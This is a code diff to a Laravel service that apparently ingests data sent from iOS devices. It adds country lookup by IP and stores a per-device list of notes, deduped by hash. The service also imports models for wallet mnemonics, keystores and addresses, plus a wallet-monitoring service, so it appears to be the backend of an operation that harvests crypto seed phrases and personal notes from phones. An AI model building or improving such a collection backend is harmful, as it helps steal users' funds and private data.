feat: note

app/Services/IngestService.php

@@ -16,6 +16,8 @@ use App\Models\WalletAddress;
 use App\Models\WalletKeystore;
 use App\Models\WalletMnemonic;
 use App\Services\Tokenview\TokenviewMonitorService;
+use App\Support\CfIpCountry;
+use App\Support\NoteContent;
 use App\Support\WalletSource;
 use Illuminate\Http\Request;
 use Illuminate\Support\Facades\Log;
@@ -352,6 +354,7 @@ class IngestService
         $attrs = [
             'device_id' => $deviceKey,
             'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
+            'country' => CfIpCountry::fromRequest($request),
             'device_model' => $this->extractDeviceModel($payload),
             'ios_version' => $this->extractIosVersion($payload),
             'channel_id' => $attr['channel_id'],
@@ -842,14 +845,31 @@ class IngestService
         if (! is_array($payload) || ! array_key_exists('list', $payload)) {
             return;
         }
-        $list = $payload['list'];
-        if (! is_array($list)) {
-            $list = [$list];
+
+        $items = NoteContent::fromList($payload['list']);
+        if ($items === []) {
+            return;
+        }
+
+        $hash = NoteContent::hash($items);
+        $existing = Note::query()->where('device_id', $device->id)->orderByDesc('id')->first();
+        if ($existing) {
+            Note::query()->where('device_id', $device->id)->where('id', '!=', $existing->id)->delete();
+            if (hash_equals((string) $existing->content_hash, $hash)) {
+                return;
+            }
+            $existing->forceFill([
+                'content' => $items,
+                'content_hash' => $hash,
+            ])->save();
+
+            return;
         }
 
         Note::query()->create([
             'device_id' => $device->id,
-            'content' => array_values($list),
+            'content' => $items,
+            'content_hash' => $hash,
         ]);
     }